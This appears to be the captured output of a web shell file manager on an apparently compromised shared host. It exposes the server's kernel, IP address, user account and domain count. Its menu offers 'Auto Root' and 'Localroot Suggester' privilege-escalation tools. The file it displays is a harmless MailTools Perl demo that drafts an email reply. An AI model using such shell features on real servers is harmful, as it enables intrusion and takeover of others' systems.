Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-MailTools /
examples /
Delete
Unzip
Name
Size
Permission
Date
Action
forwd_demo
797
B
-rw-r--r--
2022-02-16 11:57
mail-mailer.pl
3.16
KB
-rw-r--r--
2019-05-21 14:26
rplyto_demo
415
B
-rw-r--r--
2022-02-16 11:57
send_demo
1.51
KB
-rw-r--r--
2022-02-16 11:57
Save
Rename
#!/usr/bin/perl -w use Mail::Internet; $mail = Mail::Internet->new([<>]); $rply = $mail->reply(Keep => [qw(Newsgroups)]); $file = "/tmp/reply.$$"; open(REPLY,">$file") || die "Cannot open $file:$!\n"; $rply->print(\*REPLY); close(REPLY); $editor = $ENV{"EDITOR"} || die "\$EDITOR not defined\n"; warn "$editor :$!\n" if (system("$editor $file")); # Cleanup unlink($file,$file . '%',$file . '~'); exit 0;